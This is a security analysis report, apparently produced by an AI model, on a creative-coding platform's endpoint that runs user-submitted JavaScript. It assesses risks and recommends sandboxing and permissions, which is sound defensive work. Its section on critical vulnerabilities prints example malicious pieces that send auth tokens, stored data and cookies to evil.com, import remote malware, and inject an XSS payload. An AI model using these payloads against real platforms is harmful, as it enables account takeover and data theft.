Monorepo for Aesthetic.Computer aesthetic.computer
core reports api-security-analysis-2026-02-12.md
14 kB

Security Analysis: JavaScript Piece Execution API #

Date: 2026-02-12 Scope: /api/store-piece and user-submitted .mjs pieces Status: ๐Ÿ”ด CRITICAL SECURITY CONCERNS


Executive Summary #

The current implementation of /api/store-piece allows arbitrary JavaScript code execution with minimal sandboxing. User-submitted pieces have access to:

  • โœ… Network requests (fetch, WebSocket)
  • โœ… Persistent storage (IndexedDB)
  • โœ… Authentication tokens
  • โœ… File upload/download
  • โœ… Dynamic code loading
  • โœ… Navigation control

Verdict: The API surface is NOT suitable for untrusted code in its current form.


1. Attack Surface Analysis #

1.1 Code Execution Model #

How pieces are loaded:

// From disk.mjs:7488
const blob = new Blob([updatedCode], { type: "application/javascript" });
const blobUrl = URL.createObjectURL(blob);
loadedModule = await import(blobUrl);

Execution context:

  • Web Worker mode (default): Limited DOM access, but full Web API access
  • noWorker mode (fallback): Full main thread access including DOM
  • No code validation: Source code is executed as-is without sanitization

1.2 The $ API Object #

The $ parameter passed to piece functions contains:

// From disk.mjs:11600-11604
const $api = {
  ...commonApi,    // Network, system control, auth
  ...updateApi,    // Rendering, input handling
  ...painting.api, // Drawing APIs
  store,           // IndexedDB wrapper
  net: {
    preload,       // fetch() wrapper
    userRequest,   // Authenticated HTTP
    getToken,      // Auth token retrieval
    signup,        // Auth operations
    // ... more
  },
  jump,            // Navigation
  upload,          // File upload
  download,        // File download
  authorize,       // Request auth tokens
  Socket,          // WebSocket access
  Chat,            // Chat system
  wallet,          // Crypto wallet
  // ... 100+ more APIs
};

2. Critical Vulnerabilities #

๐Ÿšจ 2.1 Authentication Token Theft #

Risk: Pieces can steal user authentication tokens and send them to external servers.

// Malicious piece example
export async function boot($) {
  const token = await $.authorize();
  await fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({ token })
  });
}

Impact: Complete account compromise.


๐Ÿšจ 2.2 Data Exfiltration #

Risk: Pieces can read all user data from storage and upload it externally.

// Malicious piece example
export async function boot($) {
  // Read all user paintings
  const paintings = await $.store.get('paintings');

  // Read all stored data
  const allKeys = await $.store.keys();
  const allData = {};
  for (const key of allKeys) {
    allData[key] = await $.store.get(key);
  }

  // Exfiltrate
  await $.net.preload('https://evil.com/exfil', {
    method: 'POST',
    body: JSON.stringify(allData)
  });
}

Impact: Privacy breach, GDPR violations.


๐Ÿšจ 2.3 Persistent Malware #

Risk: Pieces can install persistent malicious code in IndexedDB.

// Malicious piece that persists
export async function boot($) {
  // Store malicious code for future execution
  await $.store.set('malware', `
    setInterval(() => {
      fetch('https://evil.com/beacon', {
        method: 'POST',
        body: JSON.stringify({
          cookies: document.cookie,
          localStorage: {...localStorage}
        })
      });
    }, 60000);
  `);

  // Inject into other pieces via dynamic imports
  const malCode = await $.store.get('malware');
  eval(malCode);
}

Impact: Long-term compromise, difficult to detect/remove.


๐Ÿšจ 2.4 Supply Chain Attacks #

Risk: Pieces can dynamically import other modules, including malicious ones.

// Malicious piece loading external code
export async function boot($) {
  const maliciousModule = await import('https://evil.com/malware.mjs');
  maliciousModule.steal($);
}

Impact: Code integrity compromise, backdoor installation.


๐Ÿšจ 2.5 Phishing & Social Engineering #

Risk: Pieces can control navigation and display fake UI.

// Phishing piece
export async function boot($) {
  // Redirect to fake login page
  $.jump('https://aesthetic-computer-login.evil.com');
}

export function paint($) {
  // Or display fake login UI
  $.wipe('white');
  $.ink('black');
  $.write("Enter your password:", 100, 100);
  // Capture input and send to attacker
}

Impact: Credential theft, user deception.


๐Ÿšจ 2.6 Cross-Site Scripting (XSS) #

Risk: In noWorker mode, pieces have DOM access.

// XSS in noWorker mode
export function boot($) {
  if (typeof document !== 'undefined') {
    document.body.innerHTML += '<img src=x onerror="alert(document.cookie)">';
  }
}

Impact: Session hijacking, malware injection.


3. Current Security Measures (Insufficient) #

โœ… Web Worker Isolation #

  • What it does: Runs pieces in a separate thread without DOM access
  • Limitations:
    • Workers still have full Web API access (fetch, IndexedDB, WebSocket)
    • Disabled in sandboxed iframes (falls back to main thread)
    • Can be bypassed via messaging

โš ๏ธ Sandbox Detection #

// From bios.mjs:54-79
const inSandbox = window.origin === 'null';
if (inSandbox) {
  // Only disables workers, doesn't restrict capabilities
  boot({ sandbox: true, worker: false });
}

What it does: Detects sandboxed iframes What it doesn't do: Actually sandbox piece capabilities

โŒ No Code Validation #

  • No AST analysis
  • No dangerous API blocking
  • No Content Security Policy enforcement
  • No code signing or verification

4. Comparison: KidLisp vs JavaScript Pieces #

Security Aspect KidLisp JavaScript Pieces
Code execution Interpreted, sandboxed Native JS, unrestricted
Network access โŒ No โœ… Full (fetch, WebSocket)
Storage access โŒ No โœ… Full (IndexedDB)
Dynamic imports โŒ No โœ… Yes
File operations โŒ No โœ… Upload/download
Auth access โŒ No โœ… Token access
Attack surface ๐ŸŸข Minimal ๐Ÿ”ด Extensive

KidLisp is significantly safer due to its limited, interpreted execution model.


๐Ÿ”’ Priority 1: Immediate Actions #

5.1 Add Security Warnings #

// In store-piece.mjs
if (!user?.sub) {
  console.warn('โš ๏ธ  Publishing anonymous pieces allows arbitrary code execution');
}

Add visible warnings in documentation:

โš ๏ธ WARNING: JavaScript pieces execute with full API access.
Only run pieces from trusted sources.

5.2 Implement Content Security Policy #

// Add CSP headers for piece execution contexts
{
  "Content-Security-Policy": [
    "default-src 'self'",
    "connect-src 'self' https://aesthetic.computer",
    "script-src 'self' 'unsafe-eval'", // Required for dynamic imports
    "object-src 'none'",
    "base-uri 'self'"
  ]
}

5.3 Add Rate Limiting #

// In store-piece.mjs
const MAX_PIECES_PER_HOUR = user ? 100 : 10;
// Track and limit piece submissions per user/IP

๐Ÿ”’ Priority 2: Medium-Term Hardening #

5.4 Object Freezing (Partial Mitigation) #

// In disk.mjs - freeze sensitive APIs
const $api = Object.freeze({
  ...commonApi,
  net: Object.freeze({
    ...netApi,
    // Remove or restrict dangerous methods
    // preload: undefined,  // Or wrap with restrictions
  }),
  store: createRestrictedStore(), // Namespace storage per piece
  // Don't expose authorize, getToken directly
});

Limitations:

  • Can't freeze prototype chains
  • Doesn't prevent Object.getPrototypeOf() access
  • Workers can still access global Web APIs directly

5.5 API Allowlist System #

// Create restricted $ API for untrusted pieces
const $restrictedApi = {
  // Safe drawing APIs
  wipe: $.wipe,
  ink: $.ink,
  box: $.box,
  circle: $.circle,
  // ... other rendering APIs

  // Safe input APIs
  event: $.event,

  // Namespaced storage (can't access other pieces' data)
  store: createNamespacedStore(pieceCode),

  // NO network, NO auth, NO file operations
};

5.6 Code Signing & Verification #

// Require pieces to be signed by trusted authors
export async function verifyPiece(source, signature, publicKey) {
  const encoder = new TextEncoder();
  const data = encoder.encode(source);
  const key = await crypto.subtle.importKey(/* ... */);
  return await crypto.subtle.verify('RSASSA-PKCS1-v1_5', key, signature, data);
}

๐Ÿ”’ Priority 3: Long-Term Architecture #

5.7 Trusted vs Untrusted Execution Modes #

Option A: Two-Tier System

// Untrusted pieces (anonymous, new users)
const $untrustedApi = {
  // Only safe rendering + input APIs
  // No network, storage, auth
};

// Trusted pieces (verified users, signed code)
const $trustedApi = {
  // Full API access
};

Option B: Permission System

// Pieces declare required permissions
export const permissions = ['network', 'storage:read'];

// Users approve before execution
if (await requestPermissions(permissions)) {
  runPiece($apiWithPermissions);
}

5.8 WebAssembly Sandbox #

  • Compile pieces to WebAssembly with restricted imports
  • Use WASI for controlled I/O
  • More complex but provides true sandboxing

5.9 Server-Side Rendering #

  • Execute untrusted pieces server-side in isolated containers (Docker, Firecracker)
  • Stream frames to client
  • Most secure but highest latency

6. Risk Assessment #

Current Risk Level: ๐Ÿ”ด CRITICAL #

Threat Likelihood Impact Overall Risk
Token theft HIGH CRITICAL ๐Ÿ”ด CRITICAL
Data exfiltration HIGH HIGH ๐Ÿ”ด CRITICAL
Persistent malware MEDIUM HIGH ๐ŸŸ  HIGH
Supply chain attack MEDIUM HIGH ๐ŸŸ  HIGH
Phishing HIGH MEDIUM ๐ŸŸ  HIGH
XSS (noWorker mode) LOW CRITICAL ๐ŸŸ  HIGH

With Priority 1 Measures: ๐ŸŸ  HIGH #

  • Warnings reduce social engineering success
  • Rate limiting reduces abuse scale
  • Still fundamentally insecure

With Priority 2 Measures: ๐ŸŸก MEDIUM #

  • Object freezing prevents some attacks
  • API allowlist significantly reduces attack surface
  • Code signing establishes trust model

With Priority 3 Measures: ๐ŸŸข LOW #

  • True sandboxing prevents most attacks
  • Permission system gives users control
  • Defense in depth architecture

7. Specific Recommendations for /api/store-piece #

DO NOT: #

  • โŒ Accept pieces from untrusted sources without warnings
  • โŒ Allow anonymous pieces without rate limiting
  • โŒ Execute pieces with full $ API access by default
  • โŒ Mix trusted and untrusted code in the same context

DO: #

  • โœ… Add prominent security warnings in docs and UI
  • โœ… Implement strict rate limiting (10/hour for anonymous)
  • โœ… Freeze sensitive API objects
  • โœ… Create restricted $ API for untrusted code
  • โœ… Implement code signing for verified authors
  • โœ… Add CSP headers
  • โœ… Log all piece executions for abuse monitoring
  • โœ… Consider permission-based system

8. Comparison to Industry Standards #

Similar Platforms & Their Security: #

CodePen / JSFiddle:

  • Execute in sandboxed iframes
  • No access to parent page
  • Limited storage (localStorage only, sandboxed)
  • Network restricted by CORS

Observable:

  • Limited API surface
  • No direct fetch (uses proxy)
  • Rate limiting
  • Trusted notebook model

Glitch / Replit:

  • Server-side execution in containers
  • Process isolation
  • Resource limits
  • No client-side arbitrary code

Chrome Extensions:

  • Manifest v3 with permissions
  • Content Security Policy enforcement
  • Review process
  • Code signing required

aesthetic.computer's model is closer to allowing arbitrary npm packages to run with full node.js access - extremely dangerous.


9. Action Items #

Immediate (This Week): #

Short-Term (This Month): #

Medium-Term (Next Quarter): #


10. Conclusion #

The current /api/store-piece implementation is NOT suitable for untrusted code.

While the creative freedom of full JavaScript execution is powerful, it creates critical security vulnerabilities including:

  • Authentication compromise
  • Data theft
  • Persistent malware
  • Phishing attacks

Recommended Path Forward:

  1. Immediately add warnings and rate limiting
  2. Short-term implement object freezing and restricted APIs
  3. Medium-term build permission system and code signing
  4. Long-term consider WebAssembly or server-side execution for untrusted code

Alternative Approach: Consider promoting KidLisp for untrusted/anonymous creation (already safe) and restricting JavaScript pieces to verified, trusted authors only.


Appendix A: Key File Locations #

  • Piece loading: system/public/aesthetic.computer/lib/disk.mjs (lines 7000-7600)
  • $ API construction: system/public/aesthetic.computer/lib/disk.mjs (lines 11600-11604)
  • Network API: system/public/aesthetic.computer/lib/disk.mjs (lines 4209-4373)
  • Storage API: system/public/aesthetic.computer/lib/store.mjs
  • Main entry: system/public/aesthetic.computer/bios.mjs
  • Store endpoint: system/netlify/functions/store-piece.mjs

Appendix B: Example Attack Code #

See attack-examples.md for detailed proof-of-concept exploits.


Report prepared by: Claude Sonnet 4.5 Review status: Requires human security review Next review date: 2026-03-12